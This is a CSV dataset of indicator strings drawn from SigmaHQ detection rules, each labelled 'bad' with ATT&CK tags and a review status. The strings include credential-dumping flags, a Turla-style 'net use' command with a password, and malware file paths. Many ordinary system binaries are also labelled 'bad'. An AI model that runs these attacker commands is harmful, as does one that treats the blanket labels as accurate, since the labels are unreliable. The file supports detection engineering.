7e8efbdd8c766b3247a502cf,--dump-hash-domain-cached,--dump-hash-domain-cached,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_hktl_quarks_pwdump.yml,HackTool - Quarks PwDump Execution,process_creation,"[""attack.credential-access"", ""attack.t1003.002""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ffc3e60e8f6801f86d1a1b86,--dump-hash-local,--dump-hash-local,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_hktl_quarks_pwdump.yml,HackTool - Quarks PwDump Execution,process_creation,"[""attack.credential-access"", ""attack.t1003.002""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
71f822717326cb38f1bf4569,--ntds-file,--ntds-file,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_hktl_quarks_pwdump.yml,HackTool - Quarks PwDump Execution,process_creation,"[""attack.credential-access"", ""attack.t1003.002""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2b35364a897216deeaa6b2ef,AdFind.exe,AdFind.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_adfind.yml,Renamed AdFind Execution,process_creation,"[""attack.discovery"", ""attack.t1018"", ""attack.t1087.002"", ""attack.t1482"", ""attack.t1069.002""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d5a6f5f05db9ec22ac3a7576,mavinject32.exe,mavinject32.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_mavinject.yml,Renamed Mavinject.EXE Execution,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055.001"", ""attack.t1218.013""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
28159f1a17531d4f92272b13,mavinject64.exe,mavinject64.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_mavinject.yml,Renamed Mavinject.EXE Execution,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055.001"", ""attack.t1218.013""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
84c0abb49871fd64b599b521,C:\Program Files (x86)\Microsoft Office\root\integration\integrator.exe,C:\Program Files (x86)\Microsoft Office\root\integration\integrator.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_schtasks_creation.yml,Scheduled Task Creation Via Schtasks.EXE,process_creation,"[""attack.execution"", ""attack.persistence"", ""attack.privilege-escalation"", ""attack.t1053.005"", ""attack.s0111"", ""car.2013-08-001"", ""stp.1u""]",windows,0.6,True,Sigma process_creation rule; status=test; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
739261de6d53ab7688a136b6,C:\Program Files\Microsoft Office\root\integration\integrator.exe,C:\Program Files\Microsoft Office\root\integration\integrator.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_schtasks_creation.yml,Scheduled Task Creation Via Schtasks.EXE,process_creation,"[""attack.execution"", ""attack.persistence"", ""attack.privilege-escalation"", ""attack.t1053.005"", ""attack.s0111"", ""car.2013-08-001"", ""stp.1u""]",windows,0.6,True,Sigma process_creation rule; status=test; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
753b11d08d87f90829483037,C:\Windows\SysWOW64\schtasks.exe,C:\Windows\SysWOW64\schtasks.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_schtasks_creation.yml,Scheduled Task Creation Via Schtasks.EXE,process_creation,"[""attack.execution"", ""attack.persistence"", ""attack.privilege-escalation"", ""attack.t1053.005"", ""attack.s0111"", ""car.2013-08-001"", ""stp.1u""]",windows,0.6,True,Sigma process_creation rule; status=test; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b07746f3bde99c20b0241f79,C:\Windows\System32\schtasks.exe,C:\Windows\System32\schtasks.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_schtasks_creation.yml,Scheduled Task Creation Via Schtasks.EXE,process_creation,"[""attack.execution"", ""attack.persistence"", ""attack.privilege-escalation"", ""attack.t1053.005"", ""attack.s0111"", ""car.2013-08-001"", ""stp.1u""]",windows,0.6,True,Sigma process_creation rule; status=test; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1e7c3d16a8eda696e91f17b8,C:\WINDOWS\system32\wbem\scrcons.exe,C:\WINDOWS\system32\wbem\scrcons.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_wmi_persistence_script_event_consumer.yml,WMI Persistence - Script Event Consumer,process_creation,"[""attack.persistence"", ""attack.privilege-escalation"", ""attack.t1546.003""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
281763600c2e390f9717ed0f,C:\Windows\System32\svchost.exe,C:\Windows\System32\svchost.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_wmi_persistence_script_event_consumer.yml,WMI Persistence - Script Event Consumer,process_creation,"[""attack.persistence"", ""attack.privilege-escalation"", ""attack.t1546.003""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
261f0c72862be59b0c4d9243,sdelete.exe,sdelete.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_sysinternals_sdelete.yml,Renamed Sysinternals Sdelete Execution,process_creation,"[""attack.impact"", ""attack.t1485""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8845ac7c10575fa2de50991c,C:\Windows\SysWOW64\msiexec.exe,C:\Windows\SysWOW64\msiexec.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_eventlog_clear.yml,Suspicious Eventlog Clearing or Configuration Change Activity,process_creation,"[""attack.defense-evasion"", ""attack.t1070.001"", ""attack.t1562.002"", ""car.2016-04-002""]",windows,0.7,True,Sigma process_creation rule; status=stable; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d150c04b01b2182444b22209,C:\Windows\System32\msiexec.exe,C:\Windows\System32\msiexec.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_eventlog_clear.yml,Suspicious Eventlog Clearing or Configuration Change Activity,process_creation,"[""attack.defense-evasion"", ""attack.t1070.001"", ""attack.t1562.002"", ""car.2016-04-002""]",windows,0.7,True,Sigma process_creation rule; status=stable; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e3d032b2511468a8e45ddfb0,C:\Windows\System32\OpenSSH\sshd.exe,C:\Windows\System32\OpenSSH\sshd.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_ssh_proxy_execution.yml,Program Executed Using Proxy/Local Command Via SSH.EXE,process_creation,"[""attack.defense-evasion"", ""attack.t1218""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4240fd5eef193edce794e066,svchost.exe,svchost.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_svchost_uncommon_command_line_flags.yml,Uncommon Svchost Command Line Parameter,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1036.005"", ""attack.t1055"", ""attack.t1055.012""]",windows,0.7,True,Sigma process_creation rule; status=experimental; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a19a9c5566568684cc7f6b62,/usr/bin/defaults,/usr/bin/defaults,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/macos/process_creation/proc_creation_macos_susp_system_network_discovery.yml,System Network Discovery - macOS,process_creation,"[""attack.discovery"", ""attack.t1016""]",macos,0.7,True,Sigma process_creation rule; status=test; level=informational,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bb95d79530defe61e5ddce0c,/bin/ls,/bin/ls,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/macos/process_creation/proc_creation_macos_file_and_directory_discovery.yml,File and Directory Discovery - MacOS,process_creation,"[""attack.discovery"", ""attack.t1083""]",macos,0.7,True,Sigma process_creation rule; status=test; level=informational,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c240a84bac1372bea1ec9dbf,/tree,/tree,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/macos/process_creation/proc_creation_macos_file_and_directory_discovery.yml,File and Directory Discovery - MacOS,process_creation,"[""attack.discovery"", ""attack.t1083""]",macos,0.7,True,Sigma process_creation rule; status=test; level=informational,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f83395fd59ebd39c25feebd1,/usr/bin/file,/usr/bin/file,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/macos/process_creation/proc_creation_macos_file_and_directory_discovery.yml,File and Directory Discovery - MacOS,process_creation,"[""attack.discovery"", ""attack.t1083""]",macos,0.7,True,Sigma process_creation rule; status=test; level=informational,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1954229a28e0e268b93935c2,/usr/bin/find,/usr/bin/find,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/macos/process_creation/proc_creation_macos_file_and_directory_discovery.yml,File and Directory Discovery - MacOS,process_creation,"[""attack.discovery"", ""attack.t1083""]",macos,0.7,True,Sigma process_creation rule; status=test; level=informational,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9766d2c9066cb6423477326b,/usr/bin/mdfind,/usr/bin/mdfind,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/macos/process_creation/proc_creation_macos_file_and_directory_discovery.yml,File and Directory Discovery - MacOS,process_creation,"[""attack.discovery"", ""attack.t1083""]",macos,0.7,True,Sigma process_creation rule; status=test; level=informational,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
93891947588ca503dcefbca3,/usr/sbin/screencapture,/usr/sbin/screencapture,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/macos/process_creation/proc_creation_macos_screencapture.yml,Screen Capture - macOS,process_creation,"[""attack.collection"", ""attack.t1113""]",macos,0.6,True,Sigma process_creation rule; status=test; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
32a8d63d96899481f2ed8695,/usr/bin/base64,/usr/bin/base64,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/macos/process_creation/proc_creation_macos_base64_decode.yml,Decode Base64 Encoded Text -MacOs,process_creation,"[""attack.defense-evasion"", ""attack.t1027""]",macos,0.6,True,Sigma process_creation rule; status=test; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4827bf44db5aa234f2bc55e9,/usr/bin/grep,/usr/bin/grep,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/macos/process_creation/proc_creation_macos_security_software_discovery.yml,Security Software Discovery - MacOs,process_creation,"[""attack.discovery"", ""attack.t1518.001""]",macos,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0bb0150637cbb90a0a727248,/usr/bin/security,/usr/bin/security,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml,Credentials from Password Stores - Keychain,process_creation,"[""attack.credential-access"", ""attack.t1555.001""]",macos,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
60258016f0dd3bfed55c1609,/usr/sbin/firmwarepasswd,/usr/sbin/firmwarepasswd,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/macos/process_creation/proc_creation_macos_susp_macos_firmware_activity.yml,Suspicious MacOS Firmware Activity,process_creation,"[""attack.impact""]",macos,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
17d50e02c1e3108f66fd8cb5,/bin/launchctl,/bin/launchctl,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/macos/process_creation/proc_creation_macos_disable_security_tools.yml,Disable Security Tools,process_creation,"[""attack.defense-evasion"", ""attack.t1562.001""]",macos,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
192146bd64a75ab64a2c86d0,/usr/sbin/spctl,/usr/sbin/spctl,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/macos/process_creation/proc_creation_macos_disable_security_tools.yml,Disable Security Tools,process_creation,"[""attack.defense-evasion"", ""attack.t1562.001""]",macos,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f3cb97810b9cbe4ebd8840e6,/bin/dd,/bin/dd,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/linux/process_creation/proc_creation_lnx_dd_file_overwrite.yml,DD File Overwrite,process_creation,"[""attack.impact"", ""attack.t1485""]",linux,0.6,True,Sigma process_creation rule; status=test; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f2d8bff8327361c7ea36eb4c,/usr/bin/dd,/usr/bin/dd,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/linux/process_creation/proc_creation_lnx_dd_file_overwrite.yml,DD File Overwrite,process_creation,"[""attack.impact"", ""attack.t1485""]",linux,0.6,True,Sigma process_creation rule; status=test; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
be5861f8937c31fb60bd77cd,bash -i,bash -i,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/linux/process_creation/proc_creation_lnx_susp_interactive_bash.yml,Interactive Bash Suspicious Children,process_creation,"[""attack.execution"", ""attack.defense-evasion"", ""attack.t1059.004"", ""attack.t1036""]",linux,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5eedca35dc913ce8a80af069,C:\Windows\System32\svchost.exe,C:\Windows\System32\svchost.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2022/Exploits/CVE-2022-26809/proc_creation_win_exploit_cve_2022_26809_rpcss_child_process_anomaly.yml,Potential CVE-2022-26809 Exploitation Attempt,process_creation,"[""attack.initial-access"", ""attack.t1190"", ""attack.execution"", ""attack.t1569.002"", ""cve.2022-26809"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
212ccaf8a17e45c3072cae7a,C:\ProgramData\DRM\CLR\CLR.exe,C:\ProgramData\DRM\CLR\CLR.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2020/TA/Winnti/proc_creation_win_apt_winnti_mal_hk_jan20.yml,Winnti Malware HK University Campaign,process_creation,"[""attack.privilege-escalation"", ""attack.persistence"", ""attack.defense-evasion"", ""attack.t1574.001"", ""attack.g0044"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=test; level=critical,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a0b273e67c748c1dc8c587cd,C:\Windows\MsMpEng.exe,C:\Windows\MsMpEng.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2021/TA/Kaseya-Supply-Chain/proc_creation_win_apt_revil_kaseya.yml,REvil Kaseya Incident Malware Patterns,process_creation,"[""attack.execution"", ""attack.t1059"", ""attack.g0115"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=test; level=critical,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
81dc63d98ab3b5dda5a6d516,C:\Windows\cert.exe,C:\Windows\cert.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2021/TA/Kaseya-Supply-Chain/proc_creation_win_apt_revil_kaseya.yml,REvil Kaseya Incident Malware Patterns,process_creation,"[""attack.execution"", ""attack.t1059"", ""attack.g0115"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=test; level=critical,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a2037033c4c71db756498018,C:\kworking1\agent.exe,C:\kworking1\agent.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2021/TA/Kaseya-Supply-Chain/proc_creation_win_apt_revil_kaseya.yml,REvil Kaseya Incident Malware Patterns,process_creation,"[""attack.execution"", ""attack.t1059"", ""attack.g0115"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=test; level=critical,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2b9eac6f8955b89b6dd0a201,C:\kworking\agent.exe,C:\kworking\agent.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2021/TA/Kaseya-Supply-Chain/proc_creation_win_apt_revil_kaseya.yml,REvil Kaseya Incident Malware Patterns,process_creation,"[""attack.execution"", ""attack.t1059"", ""attack.g0115"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=test; level=critical,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0fd6ed4863dcce94cdd7e586,jpinst.exe,jpinst.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2023/Malware/SNAKE/proc_creation_win_malware_snake_installer_exec.yml,Potential SNAKE Malware Installation Binary Indicator,process_creation,"[""attack.execution"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b1cbe0f19d5b9c4f22e12d2e,jpsetup.exe,jpsetup.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2023/Malware/SNAKE/proc_creation_win_malware_snake_installer_exec.yml,Potential SNAKE Malware Installation Binary Indicator,process_creation,"[""attack.execution"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4516d3cce9f8f59bf8c0e0b7,ipconfig.exe /all,ipconfig.exe /all,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2023/Malware/Pikabot/proc_creation_win_malware_pikabot_discovery.yml,Potential Pikabot Discovery Activity,process_creation,"[""attack.discovery"", ""attack.t1016"", ""attack.t1049"", ""attack.t1087"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b5975e5b3e38feff08acda1e,netstat.exe -aon,netstat.exe -aon,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2023/Malware/Pikabot/proc_creation_win_malware_pikabot_discovery.yml,Potential Pikabot Discovery Activity,process_creation,"[""attack.discovery"", ""attack.t1016"", ""attack.t1049"", ""attack.t1087"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
df47d5959c7067ea3795fabc,whoami.exe /all,whoami.exe /all,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2023/Malware/Pikabot/proc_creation_win_malware_pikabot_discovery.yml,Potential Pikabot Discovery Activity,process_creation,"[""attack.discovery"", ""attack.t1016"", ""attack.t1049"", ""attack.t1087"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
acf0e48ebb0fad085586888d,Cmd.Exe,Cmd.Exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2023/Exploits/CVE-2023-36874/proc_creation_win_exploit_cve_2023_36874_fake_wermgr.yml,Potential CVE-2023-36874 Exploitation - Fake Wermgr Execution,process_creation,"[""attack.execution"", ""cve.2023-36874"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b6e8e6cf599a0f855c4113ff,powershell.exe,powershell.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2023/Exploits/CVE-2023-36874/proc_creation_win_exploit_cve_2023_36874_fake_wermgr.yml,Potential CVE-2023-36874 Exploitation - Fake Wermgr Execution,process_creation,"[""attack.execution"", ""cve.2023-36874"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
318ab93febe09ac881182654,powershell_ise.EXE,powershell_ise.EXE,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2023/Exploits/CVE-2023-36874/proc_creation_win_exploit_cve_2023_36874_fake_wermgr.yml,Potential CVE-2023-36874 Exploitation - Fake Wermgr Execution,process_creation,"[""attack.execution"", ""cve.2023-36874"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
164d334613accabb82dcc7b6,C:\Windows\SysWOW64\regsvr32.exe,C:\Windows\SysWOW64\regsvr32.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2025/Exploits/CVE-2025-49144/proc_creation_win_exploit_cve_2025_49144.yml,Potential Notepad++ CVE-2025-49144 Exploitation,process_creation,"[""attack.persistence"", ""attack.privilege-escalation"", ""attack.defense-evasion"", ""attack.t1574.008"", ""cve.2025-49144"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=experimental; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
62007ec05bf4202f6be03cbc,C:\Windows\System32\regsvr32.exe,C:\Windows\System32\regsvr32.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2025/Exploits/CVE-2025-49144/proc_creation_win_exploit_cve_2025_49144.yml,Potential Notepad++ CVE-2025-49144 Exploitation,process_creation,"[""attack.persistence"", ""attack.privilege-escalation"", ""attack.defense-evasion"", ""attack.t1574.008"", ""cve.2025-49144"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=experimental; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d4b09f4a04ea8db926f4f041,C:\Program Files\internet explorer\iediagcmd.exe,C:\Program Files\internet explorer\iediagcmd.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2025/Exploits/CVE-2025-33053/proc_creation_win_exploit_cve_2025_33053.yml,Potential Exploitation of RCE Vulnerability CVE-2025-33053,process_creation,"[""attack.command-and-control"", ""attack.execution"", ""attack.defense-evasion"", ""attack.t1218"", ""attack.lateral-movement"", ""attack.t1105"", ""detection.emerging-threats"", ""cve.2025-33053""]",windows,0.7,True,Sigma process_creation rule; status=experimental; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d03b0371782891b907fd5386,C:\Windows\System32\CustomShellHost.exe,C:\Windows\System32\CustomShellHost.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2025/Exploits/CVE-2025-33053/proc_creation_win_exploit_cve_2025_33053.yml,Potential Exploitation of RCE Vulnerability CVE-2025-33053,process_creation,"[""attack.command-and-control"", ""attack.execution"", ""attack.defense-evasion"", ""attack.t1218"", ""attack.lateral-movement"", ""attack.t1105"", ""detection.emerging-threats"", ""cve.2025-33053""]",windows,0.7,True,Sigma process_creation rule; status=experimental; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1092a18a1b64d072bdae3402,dir %TEMP%\\*.exe,dir %TEMP%\\*.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2014/TA/Turla/proc_creation_win_apt_turla_commands_critical.yml,Turla Group Lateral Movement,process_creation,"[""attack.g0010"", ""attack.execution"", ""attack.t1059"", ""attack.lateral-movement"", ""attack.t1021.002"", ""attack.discovery"", ""attack.t1083"", ""attack.t1135"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=test; level=critical,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fc6c17a7ff4522cfb18670d0,dir c:\\*.doc* /s,dir c:\\*.doc* /s,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2014/TA/Turla/proc_creation_win_apt_turla_commands_critical.yml,Turla Group Lateral Movement,process_creation,"[""attack.g0010"", ""attack.execution"", ""attack.t1059"", ""attack.lateral-movement"", ""attack.t1021.002"", ""attack.discovery"", ""attack.t1083"", ""attack.t1135"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=test; level=critical,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
26deb62475a58fdc6f423328,"net use \\\\%DomainController%\C$ ""P@ssw0rd"" *","net use \\\\%DomainController%\C$ ""P@ssw0rd"" *",bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2014/TA/Turla/proc_creation_win_apt_turla_commands_critical.yml,Turla Group Lateral Movement,process_creation,"[""attack.g0010"", ""attack.execution"", ""attack.t1059"", ""attack.lateral-movement"", ""attack.t1021.002"", ""attack.discovery"", ""attack.t1083"", ""attack.t1135"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=test; level=critical,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f10c8cd749c4a68e1a61bd82,PowerShell.EXE,PowerShell.EXE,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2026/Malware/Axios-NPM-Compromise/proc_creation_win_axios_npm_compromise_indicators.yml,Axios NPM Compromise Indicators - Windows,process_creation,"[""attack.initial-access"", ""attack.t1195.002"", ""attack.execution"", ""attack.command-and-control"", ""attack.defense-evasion"", ""attack.t1059.003"", ""attack.t1059.005"", ""attack.t1105"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=experimental; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a3f2fea6b01aa7e9dd5ab4ae,C:\Windows\system32\Service.exe,C:\Windows\system32\Service.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-emerging-threats/2018/TA/OilRig/proc_creation_win_apt_oilrig_mar18.yml,OilRig APT Activity,process_creation,"[""attack.privilege-escalation"", ""attack.execution"", ""attack.persistence"", ""attack.g0049"", ""attack.t1053.005"", ""attack.s0111"", ""attack.t1543.003"", ""attack.defense-evasion"", ""attack.t1112"", ""attack.command-and-control"", ""attack.t1071.004"", ""detection.emerging-threats""]",windows,0.7,True,Sigma process_creation rule; status=test; level=critical,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
46481fd2e5593563c5cd334c,sc query dokan1,sc query dokan1,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_sc_query.yml,SC.EXE Query Execution,process_creation,"[""attack.discovery"", ""attack.t1007"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=test; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d85ea7ba31d046f02598536c,sc.exe,sc.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules-threat-hunting/windows/process_creation/proc_creation_win_sc_query.yml,SC.EXE Query Execution,process_creation,"[""attack.discovery"", ""attack.t1007"", ""detection.threat-hunting""]",windows,0.6,True,Sigma process_creation rule; status=test; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
